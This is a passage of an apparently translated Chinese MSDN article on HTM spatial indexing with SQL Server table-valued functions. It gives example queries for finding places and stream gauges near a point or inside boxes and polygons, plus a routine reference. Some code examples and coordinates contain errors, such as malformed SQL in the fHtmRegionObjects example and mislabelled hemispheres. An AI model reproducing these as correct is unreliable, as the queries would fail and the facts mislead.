<P class=lastInCell>20</P></TD>
<TD>
<P class=lastInCell>5E-9</P></TD>
<TD>
<P class=lastInCell>2E-5</P></TD>
<TD>
<P class=lastInCell>6E-2</P></TD>
<TD>
<P class=lastInCell>58</P></TD>
<TD>
<P class=lastInCell>1 km<SUP>2</SUP></P></TD>
<TD></TD>
<TD style="BORDER-RIGHT: #cccccc 1px solid"></TD></TR>
<TR class=evenRecord vAlign=top>
<TD>
<P class=lastInCell>21</P></TD>
<TD>
<P class=lastInCell>1E-9</P></TD>
<TD>
<P class=lastInCell>4E-6</P></TD>
<TD>
<P class=lastInCell>2E-2</P></TD>
<TD>
<P class=lastInCell>14</P></TD>
<TD></TD>
<TD></TD>
<TD style="BORDER-RIGHT: #cccccc 1px solid"></TD></TR>
<TR class=record vAlign=top>
<TD>
<P class=lastInCell>22</P></TD>
<TD>
<P class=lastInCell>3E-10</P></TD>
<TD>
<P class=lastInCell>1E-6</P></TD>
<TD>
<P class=lastInCell>4E-3</P></TD>
<TD>
<P class=lastInCell>4</P></TD>
<TD></TD>
<TD></TD>
<TD style="BORDER-RIGHT: #cccccc 1px solid"></TD></TR>
<TR class=evenRecord vAlign=top>
<TD>
<P class=lastInCell>23</P></TD>
<TD>
<P class=lastInCell>7E-11</P></TD>
<TD>
<P class=lastInCell>3E-7</P></TD>
<TD>
<P class=lastInCell>9E-4</P></TD>
<TD>
<P class=lastInCell>1</P></TD>
<TD>
<P class=lastInCell>1 m<SUP>2</SUP></P></TD>
<TD></TD>
<TD style="BORDER-RIGHT: #cccccc 1px solid"></TD></TR>
<TR class=record vAlign=top>
<TD>
<P class=lastInCell>24</P></TD>
<TD>
<P class=lastInCell>2E-11</P></TD>
<TD>
<P class=lastInCell>7E-8</P></TD>
<TD>
<P class=lastInCell>2E-4</P></TD>
<TD>
<P class=lastInCell>2E-1</P></TD>
<TD></TD>
<TD></TD>
<TD style="BORDER-RIGHT: #cccccc 1px solid"></TD></TR>
<TR class=evenRecord vAlign=top>
<TD>
<P class=lastInCell>25</P></TD>
<TD>
<P class=lastInCell>5E-12</P></TD>
<TD>
<P class=lastInCell>2E-8</P></TD>
<TD>
<P class=lastInCell>6E-5</P></TD>
<TD>
<P class=lastInCell>6E-2</P></TD>
<TD></TD>
<TD></TD>
<TD style="BORDER-RIGHT: #cccccc 1px solid"></TD></TR>
<TR class=record vAlign=top>
<TD>
<P class=lastInCell>26</P></TD>
<TD>
<P class=lastInCell>1E-12</P></TD>
<TD>
<P class=lastInCell>4E-9</P></TD>
<TD>
<P class=lastInCell>1E-5</P></TD>
<TD>
<P class=lastInCell>1E-2</P></TD>
<TD></TD>
<TD></TD>
<TD style="BORDER-RIGHT: #cccccc 1px solid"></TD></TR></TBODY></TABLE>
<DIV class=dataTableBottomMargin></DIV>
<DIV style="MARGIN-TOP: 3px; MARGIN-BOTTOM: 10px"><A href="http://www.microsoft.com/china/msdn/library/data/sqlserver/TblValFuncSQL.mspx#top"><IMG height=9 alt=返回页首 src="http://www.microsoft.com/library/gallery/templates/MNP2.Common/images/arrow_px_up.gif" width=7 border=0></A><A class=topOfPage href="http://www.microsoft.com/china/msdn/library/data/sqlserver/TblValFuncSQL.mspx#top">返回页首</A></DIV><A name=E2PAC></A>
<H2>典型查询</H2>
<P>现在，您应当可以执行一些查询了。</P>
<P><B>查询 1：查找邻近点的点：查找邻近某一地点的城镇</B></P>
<P>最常见的查询是查找邻近某个特定地点或点的所有地点。考虑以下查询，“查找马里兰州巴尔的摩市周围 100 海里内的所有城镇”。通过下面的方法来得到覆盖巴尔的摩市周围 100 海里（100 弧度分）范围的 HTM 三角形</P><PRE class=codeSample>select * -- find a HTM cover 100 NM around Baltimore
from fHtmCoverCircleLatLon(39.3, -76.6, 100)  
</PRE>
<P>它将返回表 2 中所示的 Trixel 表。即，<B>fHtmCoverCircleLatLon()</B> 函数将返回“覆盖”该圆圈（在本例中，是单个 trixel）的一组 HTM 三角形。该圆圈内所有对象的 HTM 键也位于这些三角形中之一内。现在，我们需要检查所有这些三角形并舍弃假正值（图 1 中的仔细检查）。我们将按照与巴尔的摩市的距离对答案集进行排序，因此，如果我们需要找出最近的地点，只需选择 TOP 1 WHERE distance &gt; 0 即可（我们要从中排除巴尔的摩市本身）。</P><PRE class=codeSample>declare @lat float, @lon float
select @lat = lat, @lon = lon 
from Place 
where Place.PlaceName = 'Baltimore' 
and State = 'MD' 
select ObjID, dbo.fDistanceLatLon(@lat,@lon, lat, lon) as distance
from SpatialIndex jo&#105;n fHtmCoverCircleLatLon(@lat, @lon, 100)  
On HtmID between HtmIdStart and HtmIdEnd           -- coarse test
and type = 'P'
and dbo.fDistanceLatLon(@lat,@lon, lat, lon) &lt; 100 -- careful test
order by distance asc
</PRE>
<P><B>表 2. 巴尔的摩市 HTM 覆盖纬度圈</B></P>
<TABLE class=dataTable id=ENAAE cellSpacing=0 cellPadding=0>
<THEAD>
<TR class=stdHeader vAlign=top>
<TD id=colEPAAE>HtmIdStart</TD>
<TD id=colETAAE style="BORDER-RIGHT: #cccccc 1px solid">HtmIdEnd</TD></TR></THEAD>
<TBODY>
<TR class=record vAlign=top>
<TD>
<P class=lastInCell>14023068221440</P></TD>
<TD style="BORDER-RIGHT: #cccccc 1px solid">
<P class=lastInCell>14027363188735</P></TD></TR></TBODY></TABLE>
<DIV class=dataTableBottomMargin></DIV>
<P>此覆盖联接将返回 2928 行（粗略检查）；其中 1122 行在 100 航空英里以内（仔细检查）。它给出了 61% 的假正值：全部操作在 9 毫秒内完成。 </P>
<P>由于这些是常见的任务，因此具有针对它们的标准函数： </P><PRE class=codeSample>fHtmNearbyLatLon(type, lat, lon, radius)
fHtmNearestLatLon(type, lat, lon)
</PRE>
<P>这样，上述查询就变为</P><PRE class=codeSample>select ObjID, distance 
from fHtmNearestLatLon('P', 39.3, -76.61)   
</PRE>
<P><B>查询 2：查找某个方框内的地点</B></P>
<P>在显示正方形的地图或窗口时，应用程序通常需要查找某个正方形视区内的所有对象。科罗拉多州几乎完全是正方形的，它的西北角点为 (41°N-109°3'W)，西南角点为 (37°N-102° 3'E)。该州的中心点为 (39°N, -105°33'E)，因此可以用以该点为中心的圆圈覆盖该正方形。</P><PRE class=codeSample>declare @radius float
set @radius = dbo.fDistanceLatLon(41,-109.55,37,-102.05)/2
select * 
from Station 
where StationNumber in (
select ObjID 
from fHtmCoverCircleLatLon(39, -105.55, @radius) jo&#105;n SpatialIndex 
on HtmID between HtmIdStart and HtmIdEnd
and lat between 37 and 41
and lon between -109.05 and -102.048
and type = 'S')
OPTION (FORCE ORDER)
</PRE>
<P>本例在大约 46 毫秒内返回了 1030 个流量计。科罗拉多州的其他五个流量计正好在其边界上，散布于距离南纬 37°纬度圈不超过一海里的范围内。如果将南纬从 37° 调整到 36.98°，则其他这五个测量站就会出现。（GIS 系统和天文应用程序通常需要某一区域周围具有缓冲区。此 HTM 代码包含对缓冲区的支持，在实际的应用程序经常会用到缓冲区。请查看参考资料 [Szalay] 以了解具体操作方式。）此覆盖圆圈返回了 36 个三角形。与 SpatialIndex 表的联接返回了 1975 个流量计。其中包含 47% 的假正值。下一节将演示如何通过使用 HTM 区域指定多边形覆盖而非圆圈覆盖对此进行改进。 </P>
<P>FORCE ORDER 子句比较麻烦：如果缺少该子句，查询的运行时间会长十倍，因为优化器会将空间索引作为外部表进行嵌套循环联接。如果这些表更大（包含数百万行），优化程序有可能会采取其他计划，但我们不能指望它。优化程序不可能无需提示就能针对上一部分中的所有查询选择正确的计划。</P>
<P><B>查询 3：查找某个多边形内的地点</B></P>
<P>HTM 代码允许我们将此区域指定为圆圈、矩形、凸球面或这些区域的组合。特别地，HTM 库允许使用下面的线性语法来指定区域：</P><PRE class=codeSample>circleSpec  := 'CIRCLE LATLON '      lat lon radius  
|  'CIRCLE J2000 '       ra  dec radius
|  'CIRCLE [CARTESIAN ]' x y z   radius  
rectSpec    := 'RECT LATLON '        { lat lon }2
|  'RECT J2000 '         { ra  dec }2
|  'RECT [CARTESIAN ]'   { x y z   }2
hullSpec    := 'CHULL LATLON '       { lon lat }3+
|  'CHULL J2000 '        { ra dec  }3+
|  'CHULL [CARTESIAN ]'  { x y z   }3+
convexSpec  := 'CONVEX ' [ 'CARTESIAN '] { x y z D }*
areaSpec    := rectSpec | circleSpec | hullSpec | convexSpec 
regionSpec  := 'REGION ' {areaSpec}* | areaSpec 
</PRE>
<P>下面给出了区域指定示例： </P>
<TABLE cellSpacing=0 cellPadding=0 border=0>
<TBODY>
<TR>
<TD class=listBullet vAlign=top>•</TD>
<TD class=listItem>
<P><B>圆圈。</B>指定一个点和大小为 1.75 海里（弧度分）的半径。</P><PRE class=codeSample>'CIRCLE LATLON 39.3 -76.61 100'
'CIRCLE CARTESIAN 0.1792 -0.7528 0.6334 100'
</PRE></TD></TR>
<TR>
<TD class=listBullet vAlign=top>•</TD>
<TD class=listItem>
<P><B>矩形。</B>指定用来定义最小和最大 lat,lon 的两个角点。经度坐标以折回方式确定，即 lonmin=358.0 和 lonmax=2.0，这是一个四度宽的范围。纬度必须介于北极和南极之间。矩形边是纬度或经度保持不变的直线，而非凹形和凸形的大圆边。</P><PRE class=codeSample>'RECT LATLON 37 -109.55  41 -102.05'
</PRE></TD></TR>
<TR>
<TD class=listBullet vAlign=top>•</TD>
<TD class=listItem>
<P><B>凹形。</B>指定用来定义凸球面三个或更多个点，且该凸球面的边用大圆圈将相邻的点连接起来。这些点必须位于单个半球内，否则会发生错误。这些点的顺序无关紧要。</P><PRE class=codeSample>'CHULL LATLON 37 -109.55 41 -109.55 41 -102.051 37 -102.05'
</PRE></TD></TR>
<TR>
<TD class=listBullet vAlign=top>•</TD>
<TD class=listItem>
<P><B>凸形。</B>以笛卡尔向量 (x,y,z) 及该向量单位长度的分量的形式指定任意多个（包括零个）约束。</P><PRE class=codeSample>'CONVEX   -0.17886 -0.63204 -0.75401 0.00000
          -0.97797  0.20865 -0.00015 0.00000
           0.16409  0.57987  0.79801 0.00000
           0.94235 -0.33463  0.00000 0.00000'
</PRE></TD></TR>
<TR>
<TD class=listBullet vAlign=top>•</TD>
<TD class=listItem>
<P><B>区域。</B>区域是零个或更多个圆圈、矩形、凹形和凸形区域的组合。</P><PRE class=codeSample>'REGION CONVEX 0.7 0.7 0.0 -0.5 CIRCLE LATLON 18.2 -22.4 1.75'
</PRE></TD></TR></TBODY></TABLE>
<P>可以这些区域描述中的任意一个应用于 <B>fHtmCoverRegion()</B> 例程，以返回一个 trixel 表，用来描述覆盖该区域的一组 trixel（三角形区域）。用于此科罗拉多州查询的较简单的代码为：</P><PRE class=codeSample>select S.* 
from (select ObjID 
from fHtmCoverRegion('RECT LATLON 37 -109.55  41 -102.05') 
loop jo&#105;n SpatialIndex
on HtmID between HtmIdStart and HtmIdEnd
and lat between 37 and 41
and lon between -109.05 and -102.048
and type = 'S') as G 
jo&#105;n Station S on G.objID = S.StationNumber
OPTION (FORCE ORDER)
</PRE>
<P>有必要使用这种不寻常的查询格式来准确告诉优化器联接的执行顺序（以使“强制顺序”选项正确运行）。很难以这种方式修改优化器，直到表值函数具有统计信息为止，估计它们会非常耗费资源。您必须强制使它们进入内部循环联接。 </P>
<P>此查询将返回 1030 个流量计，而有 1365 个来自覆盖范围的候选项，因此包含 25% 的假正值。请注意，矩形覆盖优于圆形覆盖，因为后者包含 61% 的假正值。对于非矩形形状的州，可以使用多边形语法，但本文仅讲述表值函数，而不讲述 HTM 算法。您可以在项目中以及项目的相关文档中查看 HTM 代码。</P>
<P>可以转换为凸球面进行类似的查询。</P><PRE class=codeSample>select S.* 
from (select ObjID 
from fHtmCoverRegion(
'CHULL LATLON 37 -109.55 41 -109.55 41 -102.05 37 -102.05') 
loop jo&#105;n SpatialIndex
on HtmID between HtmIdStart and HtmIdEnd
and lat between 37 and 41
and lon between -109.05 and -102.048
and type = 'S') as G 
jo&#105;n Station S on G.objID = S.StationNumber
OPTION (FORCE ORDER) 
</PRE>
<P>此查询将返回 1030 个流量计，而有 1193 个来自覆盖范围的候选项，因此包含 14% 的假正值。在本例中，凸球面覆盖比同等的矩形覆盖更好。 </P>
<P><B>查询 4：高级主题：复杂区域</B></P>
<P>前面的示例给出了用于区域的语法，并对“邻近点的点”和“矩形内的点”搜索进行了论述。区域可能会十分复杂。它们是多个凸形区域的布尔组合。我们无法在此详细解释区域的概念，但伴随项目中的 HTM 库包含对区域进行布尔组合、简化区域、计算区域顶点和计算区域面积的逻辑，还包含许多其他特性。[Fekete]、[Gray] 和 [Szalay] 中介绍了这些概念。 </P>
<P>为了初步理解这些概念，我们以犹他州为例。它的边界可用两个矩形来近似地定义：</P><PRE class=codeSample>declare @utahRegion varchar(max)
set @utahRegion = 'region '  
+ 'rect latlon 37 -114.0475  41 -109.0475 ' -- Main part
+ 'rect latlon 41 -114.0475  42 -111.01  '  -- Ogden and Salt Lake.
</PRE>
<P>现在，我们可以用以下查询来查找犹他州中的所有流量计：</P><PRE class=codeSample>select S.* 
from (
select ObjID 
from fHtmCoverRegion(@utahRegion) 
loop jo&#105;n SpatialIndex
on HtmID between HtmIdStart and HtmIdEnd
and (((     lat between 37        and      41)  -- Careful test
and (lon between -114.0475 and -109.04)) -- Are we inside 
or ((   lat between 41        and      42)  -- one of the two
and (lon between -114.0475 and -111.01)) -- boxes?
          )
and type = 'S' ) as G   
jo&#105;n Station S on G.objID = S.StationNumber  
OPTION (FORCE ORDER) 
</PRE>
<P>覆盖返回了 38 个 trixel。联接返回了 775 个测量站。仔细检查找到了犹他州中的 670 个测量站，另外有怀俄名州的两个测量站正好位于接壤处（14% 的假正值）。 </P>
<P>大多数州需要使用复杂得多的区域。例如，近似地将加利福尼亚州的边界连起来的区域为：</P><PRE class=codeSample>declare @californiaRegion varchar(max)
set @californiaRegion = 'region '
+ 'rect latlon 39    -125 '    -- Nortwest corner
+   '42    -120 '    -- Center of Lake Tahoe 
+ 'chull latlon 39    -124 '    -- Pt. Arena
+ '39    -120 '    -- Lake Tahoe.
+ '35    -114.6 '  -- Start Colorado River
+ '34.3  -114.1 '  -- Lake Havasu
+ '32.74 -114.5 '  -- Yuma
+ '32.53 -117.1 '  -- San Diego
+ '33.2  -119.5 '  -- San Nicholas Is
+ '34    -120.5 '  -- San Miguel Is.
+ '34.57 -120.65 ' -- Pt. Arguelo
+ '36.3  -121.9 '  -- Pt. Sur 
+ '36.6  -122.0 '  -- Monterey
+ '38    -123.03 ' -- Pt. Rayes
select stationNumber
from fHtmCoverRegion(@californiaRegion) 
loop jo&#105;n SpatialIndex
on HtmID between HtmIdStart and HtmIdEnd
/* and &lt;careful test&gt; */
and type = 'S'    
jo&#105;n Station S on objID = S.StationNumber 
OPTION (FORCE ORDER)
</PRE>
<P>覆盖返回了 108 个 trixel，一共包含 2132 个测量站。其中，1928 个位于加利福尼亚州内，因此假正值比率大约为 5%。但是仔细检查并非小事。 </P>
<P>针对地点而非测量站进行的相同查询（包括仔细检查）类似于以下代码：</P><PRE class=codeSample>select * 
from Place 
where HtmID in 
(select distinct SI.objID
from fHtmCoverRegion(@californiaRegion)  
loop jo&#105;n SpatialIndex SI
on SI.HtmID between HtmIdStart and HtmIdEnd 
and SI.type = 'P'
jo&#105;n place P on SI.objID = P.HtmID
cross jo&#105;n fHtmRegionToTable(@californiaRegion) Poly
group by SI.objID, Poly.convexID 
having min(SI.x*Poly.x + SI.y*Poly.y + SI.z*Poly.z - Poly.d) &gt;= 0   
   )    
OPTION (FORCE ORDER) 
</PRE>
<P>此查询使用加利福尼亚州的凸形半空间表示法和 [Gray] 中介绍的技术来快速检查某个点是否位于加利福尼亚州凸球面内。它返回了 885 个地点，其中 7 个位于与加利福尼亚州毗邻的亚利桑那州（多边形近似于加利福尼亚州的边界）。它在 1GHz 的处理器上运行了 0.249 秒。如果不用 <B>OPTION(FORCE ORDER)</B> 子句，其运行速度将变慢，需要花费 247 秒。</P>
<P>由于此要求十分常见，而且代码极具技巧性，因此我们添加了 <B>fHtmRegionObjects(Region,Type)</B> 过程，用来从空间索引中返回对象 ID。由于此过程封装了前面所示的两个技巧性代码，因此这两个针对加利福尼亚州的查询变为了：</P><PRE class=codeSample>select *                 -- Get all the California River Stations
from Station
where stationNumber in   -- that are inside the region
(select ObjID 
from fHtmRegionObjects(@californiaRegion,'S')) 
 
select *                 -- Get all the California cities
from Place
where HtmID in           -- that are inside the region
(select ObjID 
from fHtmRegionObjects(@californiaRegion,'P'))
</PRE>
<P>针对科罗拉多州和犹他州的查询也可以使用此例程来简化。</P>
<DIV style="MARGIN-TOP: 3px; MARGIN-BOTTOM: 10px"><A href="http://www.microsoft.com/china/msdn/library/data/sqlserver/TblValFuncSQL.mspx#top"><IMG height=9 alt=返回页首 src="http://www.microsoft.com/library/gallery/templates/MNP2.Common/images/arrow_px_up.gif" width=7 border=0></A><A class=topOfPage href="http://www.microsoft.com/china/msdn/library/data/sqlserver/TblValFuncSQL.mspx#top">返回页首</A></DIV><A name=EVDAE></A>
<H2>结束语</H2>
<P>在此所述的 HTM 空间索引库本身是有趣而又有用的。基于球面为“多边形内的点”查询索引数据是一种便利的方法。但是，该库还作为一个示例很好地说明了如何通过添加以诸如 C#、C++、Visual Basic 或 Java 之类的语言进行实际计算的类库来扩充 SQL Server 和其他数据库系统。实现功能强大的表值函数和标量函数并将这些查询及其永久数据集成到数据库中的能力是一种非常强大的扩充机制，它将在保证对象关系数据库的基础上传递。这仅仅是个开头。在接下来的十年中，编程语言和数据库查询语言有可能获得更好的数据集成方式。这对于应用程序开发人员来说将是一件好事。</P>
<P><B>详细信息请参见：</B></P>
<P><a href="http://www.openx.cn/file:///C:/Documents%20and%20Settings/Bluewater/桌面/2005SLE/2006.1.4/chs/chs/TblValFuncSQL_files/sql.htm"><EM>http://msdn.microsoft.com/sql/</EM></A></P>
<P>项目编辑：Susanne Bonney</P>
<DIV style="MARGIN-TOP: 3px; MARGIN-BOTTOM: 10px"><A href="http://www.microsoft.com/china/msdn/library/data/sqlserver/TblValFuncSQL.mspx#top"><IMG height=9 alt=返回页首 src="http://www.microsoft.com/library/gallery/templates/MNP2.Common/images/arrow_px_up.gif" width=7 border=0></A><A class=topOfPage href="http://www.microsoft.com/china/msdn/library/data/sqlserver/TblValFuncSQL.mspx#top">返回页首</A></DIV><A name=EDEAE></A>
<H2>附录 A：参考资料</H2>
<TABLE cellSpacing=0 cellPadding=0 border=0>
<TBODY>
<TR>
<TD class=listBullet vAlign=top>•</TD>
<TD class=listItem>
<P>[Gray]“<A href="http://go.microsoft.com/fwlink/?LinkId=54790"><EM>There Goes the Neighborhood:Relational Algebra for Spatial Data Search</EM></A>”。Jim Gray、Alexander S. Szalay、Gyorgy Fekete、Wil O'Mullane、Maria A. Nieto-Santisteban、Aniruddha R. Thakar、Gerd Heber、Arnold H. Rots，MSR-TR-2004-32，2004 年 4 月 </P></TD></TR>
<TR>
<TD class=listBullet vAlign=top>•</TD>
<TD class=listItem>
<P>[Szalay]“Indexing the Sphere with the Hierarchical Triangular Mesh”。Alexander S. Szalay、Jim Gray、George Fekete、Peter Z. Kunszt、Peter Kukol、Aniruddha R. Thakar，Microsoft SQL Server 2005 Samples。 </P></TD></TR>
<TR>
<TD class=listBullet vAlign=top>•</TD>
<TD class=listItem>
<P>[Fekete]“SQL SERVER 2005 HTM Interface Release 4”。George Fekete、Jim Gray、Alexander S. Szalay，2005 年 5 月 15 日，Microsoft SQL Server 2005 Samples。 </P></TD></TR>
<TR>
<TD class=listBullet vAlign=top>•</TD>
<TD class=listItem>
<P>[Samet1]“Applications of Spatial Data Structures:Computer Graphics, Image Processing, and GIS”。Hanan Samet，Addison-Wesley, Reading, MA, 1990。ISBN0-201-50300-0。 </P></TD></TR>
<TR>
<TD class=listBullet vAlign=top>•</TD>
<TD class=listItem>
<P>[Samet2]“The Design and Analysis of Spatial Data Structures”。Hanan Samet，Addison-Wesley, Reading, MA, 1990。ISBN 0-201-50255-0。 </P></TD></TR></TBODY></TABLE>
<DIV style="MARGIN-TOP: 3px; MARGIN-BOTTOM: 10px"><A href="http://www.microsoft.com/china/msdn/library/data/sqlserver/TblValFuncSQL.mspx#top"><IMG height=9 alt=返回页首 src="http://www.microsoft.com/library/gallery/templates/MNP2.Common/images/arrow_px_up.gif" width=7 border=0></A><A class=topOfPage href="http://www.microsoft.com/china/msdn/library/data/sqlserver/TblValFuncSQL.mspx#top">返回页首</A></DIV><A name=EYEAE></A>
<H2>附录 B：基本 HTM 例程</H2>
<P>本节将介绍 HTM 例程。附带文档 [Szalay] 中含有用于每个例程的手册页，并且这些例程本身带有批注以支持 IntelliSense。</P>
<P>在下面，lat 和 lon 以十进制度数表示（南部和西部纬度为负），距离以海里（弧度分）表示。</P>
<P><B>HTM 库版本：fHtmVersion() 将返回版本字符串</B></P>
<P>例程将返回一个 <B>nvarchar(max)</B> 字符串来给出 HTM 库版本。</P>
<P>使用示例：</P><PRE class=codeSample>   print dbo.fHtmVersion()
</PRE>
<P>返回的内容类似以下结果：</P><PRE class=codeSample>   'C# HTM.DLL V.1.0.0 1 August 2005'
</PRE>
<P><B>生成 HTM 键：fHtmLatLon (lat, lon) 将返回 HtmID</B></P>
<P>例程将返回该 LatLon 点的 21 级深度的 HTM ID。 </P>
<P>使用示例：</P><PRE class=codeSample>   update Place set HtmID = dbo.fHtmLatLon(Lat,Lon)
</PRE>
<P>还有 <B>fHtmXyz()</B> 和 <B>fHtmEq()</B> 函数可供天文学家使用。 </P>
<P><B>LatLon 到 XYZ：fHtmLatLonToXyz (lat,lon) 将返回点 (x, y, z)</B></P>
<P>例程将返回该 Lat Lon 点的笛卡尔坐标。 </P>
<P>使用示例（这是标识函数）：</P><PRE class=codeSample>Select LatLon.lat, LatLon.lon-360    
from fHtmLatLonToXyz(37.4,-122.4) as XYZ cross apply 
fHtmXyzToLatLon(XYZ.x, XYZ.y, XYZ.z) as LatLon
</PRE>
<P>还有 fHtmEqToXyz() 函数可供天文学家使用。 </P>
<P><B>XYZ 到 LatLon：fHtmXyzToLatLon (x,y,z) 将返回点 (lat, lon)</B></P>
<P>例程将返回该 Lat Lon 点的笛卡尔坐标。 </P>
<P>使用示例（这是标识函数）：</P><PRE class=codeSample>Select LatLon.lat, LatLon.lon-360    
from fHtmLatLonToXyz(37.4,-122.4) as XYZ cross apply 
fHtmXyzToLatLon(XYZ.x, XYZ.y, XYZ.z) as LatLon
</PRE>
<P>还有 <B>fHtmXyzToEq()</B> 函数可供天文学家使用。 </P>
<P><B>查看 HTM 键：fHtmToString (HtmID) 将返回 HTM 字符串</B></P>
<P>如果给定了 HtmID，则例程将返回一个 <B>nvarchar(32)</B>，其形式为 <B>[N|S]t1t2t3...tn</B>，其中每个三角数字 ti 均为 {0,1,2,3} 格式，用以说明三角网格中该深度的 HTM trixel。 </P>
<P>使用示例：</P><PRE class=codeSample>print 'SQL Server development is at: ' + 
dbo.fHtmToString(dbo.fHtmLatLon(47.646,-122.123))
</PRE>
<P>返回结果：'N132130231002222332302'。</P>
<P>还有 <B>fHtmXyz()</B> 和 <B>fHtmEq()</B> 函数可供天文学家使用。</P>
<P><B>HTM trixel 中心点：fHtmToCenterpoint(HtmId) 将返回点 (x, y, z)</B></P>
<P>返回由 HtmID 指定的 HTM trixel 的笛卡尔中心点。 </P>
<P>使用示例：</P><PRE class=codeSample>select * from fHtmToCenterPoint(dbo.fHtmLatLon(47.646,-122.123)) 
</PRE>
<P><B>HTM trixel 角点：fHtmToCornerpoints(HtmId) 将返回点 (x, y, z)</B></P>
<P>返回由 HtmID 指定的 HTM trixel 的三个笛卡尔角点。 </P>
<P>使用示例：</P><PRE class=codeSample>select * from fHtmToCornerPoints(dbo.fHtmLatLon(47.646,-122.123)) 
</PRE>
<P><B>计算距离：fDistanceLatLon(lat1, lon1, lat2, lon2) 将返回距离</B></P>
<P>以海里（弧度分）为单位计算两点之间的距离。 </P>
<P>使用示例：</P><PRE class=codeSample>declare @lat float, @lon float
select @lat = lat, @lon = lon 
from  Place 
where PlaceName = 'Baltimore' and State = 'MD' 
select PlaceName, 
dbo.fDistanceLatLon(@lat,@lon, lat,  lon) as distance
from Place
</PRE>
<P>还有 <B>fDistanceXyz()</B> 和 <B>fDistanceEq()</B> 函数可供天文学家使用。 </P>
<P>下面的例程可返回一个用作空间索引的表。所返回空间索引表的数据定义为： </P><PRE class=codeSample>SpatialIndexTable table (
HtmID   bigint   not null , -- HTM spatial key (based on lat/lon)
Lat     float    not null , -- Latitude in Decimal
Lon     float    not null , -- Longitude in Decimal
x       float    not null , -- Cartesian coordinates,
y       float    not null , -- derived from lat-lon
z       float    not null , --,
Type    char(1)  not null , -- place (P) or gauge (G)
ObjID   bigint   not null , -- object ID in table
distance float   not null , -- distance in arc minutes to object
primary key (HtmID, ObjID) )
</PRE>
<P><B>查找邻近的对象：fHtmNearbyLatLon(type, lat, lon, radius) 将返回空间索引表</B></P>
<P>返回半径范围内特定类型的对象列表及它们到给定点的距离。该列表将按对象的位置由近到远排列。 </P>
<P>使用示例：</P><PRE class=codeSample>   select distance, Place.*
from fHtmNearbyLatLon('P', 39.3, -76.6, 10) I jo&#105;n Place 
on I.objID = Place.HtmID
order by distance
</PRE>
<P>还有 <B>fHtmGetNearbyEq()</B> 和 <B>fHtmGetNearbyXYZ()</B> 函数可供天文学家使用。</P>
<P><B>查找最近的对象：fHtmNearestLatLon(type, lat, lon) 将返回空间索引表</B></P>
<P>返回包含距离该点最近的特定类型对象的列表。 </P>
<P>使用示例：</P><PRE class=codeSample>   select distance, Place.*
from fHtmNearestLatLon('P', 39.3, -76.6) I jo&#105;n Place 
on I.objID = Place.HtmID
</PRE>
<P>还有 <B>fHtmGetNearbyEq()</B> 和 <B>fHtmGetNearbyXYZ()</B> 函数可供天文学家使用。 </P>
<P>下面的例程将返回一个表，用以说明覆盖所需区域的一组 trixel（HIM 三角形）的 HtmIdStart 和 HtmIdEnd。表的定义为：</P><PRE class=codeSample>TrixelTable table (
HtmIdStart   bigint not null , -- min HtmID in trixel
HtmIdEnd     bigint not null   -- max HtmID in trixel   
      )
</PRE>
<P><B>圆圈区域 HTM 覆盖：fHtmCoverCircleLatLon(lat, lon, radius) 将返回 trixel 表</B></P>
<P>返回覆盖指定圆圈的 trixel 表。 </P>
<P>使用示例：</P><PRE class=codeSample>declare @answer nvarchar(max)
declare @lat float, @lon float
select @lat = lat, @lon = lon 
from Place 
where Place.PlaceName = 'Baltimore' 
and State = 'MD' 
set @answer = ' using fHtmCoverCircleLatLon() it finds:      '
select @answer = @answer  
+ ca&#115;t(P.placeName as varchar(max)) + ', ' 
+ str( dbo.fDistanceLatLon(@lat,@lon, I.lat, I.lon) ,4,2) 
+ '  arc minutes distant.' 
from SpatialIndex I jo&#105;n fHtmCoverCircleLatLon(@lat, @lon, 5)  
On HtmID between HtmIdStart and HtmIdEnd -- coarse test
and type = 'P'                           -- it is a place
and dbo.fDistanceLatLon(@lat,@lon, lat, lon) 
between 0.1 and 5  -- careful test
jo&#105;n Place P on I.objID = P.HtmID
order by dbo.fDistanceLatLon(@lat,@lon, I.lat, I.lon) asc
print 'The city within 5 arc minutes of Baltimore is: ' 
+ 'Lansdowne-Baltimore Highlands, 4.37 arc minutes away'
</PRE>
<P>还有 <B>fHtmCoverCircleEq()</B> 函数可供天文学家使用。 </P>
<P><B>HTM 覆盖的常规区域指定：fHtmCoverRegion(region) 将返回 trixel 表</B></P>
<P>返回覆盖指定区域的 trixel 表（本主题前面对区域进行了介绍）。</P><PRE class=codeSample>select S.* 
from  (select ObjID 
from fHtmCoverRegion('RECT LATLON 37 -109.55  41 -102.05') 
loop jo&#105;n SpatialIndex
on HtmID between HtmIdStart and HtmIdEnd
and lat between 37 and 41
and lon between -109.05 and -102.048
and type = 'S') as G 
jo&#105;n Station S on G.objID = S.StationNumber
OPTION (FORCE ORDER)
</PRE>
<P><B>常规区域指定：fHtmRegionToNormalFormString(region) 将返回区域字符串</B></P>
<P>返回格式为 REGION {CONVEX {x y z d}* }* 的字符串，其中已从每个凸形删除多余的半空间；如 [Fekete] 中所述，凸形已被简化。</P><PRE class=codeSample>print dbo.fHtmToNormalForm('RECT LATLON 37 -109.55  41 -102.05')
</PRE>
<P>下面的例程将返回一个表，用以说明覆盖所需区域的一组 trixel（HIM 三角形）的 HtmIdStart 和 HtmIdEnd。表的定义为：</P><PRE class=codeSample>RegionTable (convexID     bigint not null , -- ID of the convex, 0,1,...
halfSpaceID bigint not null     -- ID of the halfspace 
-- within convex, 0,1,2,
x           float  not null     -- Cartesian coordinates of
y           float  not null     -- unit-normal-vector of 
z           float  not null     -- halfspace plane
d           float  not null     -- displacement of halfspace 
)                               -- along unit vector [-1..1]
</PRE>
<P><B>将区域字符串转换为表：fHtmRegionToTable(region) 将返回区域表</B></P>
<P>返回一个表，用以将区域作为凸形组合来说明，其中每个凸形均为 x，y，z，d 半空间的交集。如 [Fekete] 中所述，凸形已被简化。本文第 4 节介绍了此函数的用法。</P><PRE class=codeSample>select *
from dbo.fHtmToNormalForm('RECT LATLON 37 -109.55  41 -102.05')
</PRE>
<P><B>查找区域内的点：fHtmRegionObjects(region, type) 将返回对象表</B></P>
<P>返回一个表，其中包含空间索引中具有指定类型且位于区域内的对象的对象 ID。</P><PRE class=codeSample>select *            -- find Colorado places.
from Places jo&#105;n 
where HtmID in
select objID 
from dbo. fHtmRegionObjects('RECT LATLON 37 -109.55  41 -10, 2.05','P')
</PRE>
<P><B>常规区域诊断：fHtmRegionError(region ) 将返回消息</B></P>
<P>如果区域定义有效，则返回“OK”；否则，返回描述区域定义问题的诊断信息，并且后跟区域的语法定义。 </P><PRE class=codeSample>print dbo.fHtmRegionError ('RECT LATLON 37 -109.55 41 -102.05')
